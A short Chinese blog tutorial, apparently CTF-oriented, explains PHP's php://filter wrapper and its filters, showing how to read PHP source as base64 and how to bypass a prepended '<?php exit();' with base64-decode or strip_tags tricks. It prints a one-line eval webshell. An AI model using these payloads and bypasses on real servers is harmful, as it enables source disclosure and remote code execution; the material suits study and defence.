PHP伪协议,php://filter
### php://filter 作用:在读入或写入数据时将数据处理后再输出 格式: ``` php://filter/read=xxx|xxx|xxx/resource=xxx php://filter/write=xxx|xxx/resource=xxx ``` 参数: ``` string.rot13 //一种字符处理方式,字符右移十三位 string.toupper //转换为大写 string.tolower //转换为小写 string.strip_tags //去除html和php标记,比如<?php?>(绕过死亡exit) convert.base64-encode //base64编码 convert.base64-decode //base64解码 convert.quoted-printable-encode //将可以打印的ASCII编码字符表示为编码形式下的字符 convert.quoted-printable-decode //将编码形式下的字符解码为可打印的ASCII编码字符 ``` 示例: ``` //浏览器读php文件时默认是作为页面输出,下面伪协议将php文件的内容输出 php://filter/read=convert.base64-encode/resource=index.php //将xxxxx写入hello.txt php://filter/write=string.rot13/resource=hello.txt","xxxxx" ``` 关于死亡绕过: 服务器可能对上传的文件执行了以下函数: ```php file_put_contents($content, '<?php exit();'.$content); ``` 这样会在文件开头加入`<?php exit();`,使得后面的内容无法被执行,我们上传后的木马可能如下: ```php <?php exit(); <?php @eval($_POST['a']);?> ``` 可以使用`convert.base64-encode`和`convert.base64-decode`进行绕过: 1. 先将木马内容进行base64编码 2. 在编码后的木马前加一个字符,比如'a' 3. 访问`php://filter/read=convert.base64-decode/resource=index.php`,执行index.php 原理:base64编码会先过滤无法识别的字符,比如<;?>,然后文件结构变为phpexit+a+编码后的木马,由于base64编码和解码将四个字符作为一组,所以phpe和xita就被解码为其他字符,木马则正常解码,返回到页面 还可以使用`string.strip_tags`进行绕过: `<?php exit;`可以作为一个XML标签被`string.strip_tags`过滤,所以可以访问`php://filter/read=string.strip_tags/resource=index.php`来执行index.php,也可以搭配上一种方法组合使用。
创建时间:2023-01-11
|
最后修改:2023-12-27
|
©允许规范转载
酷酷番茄
首页
文章
友链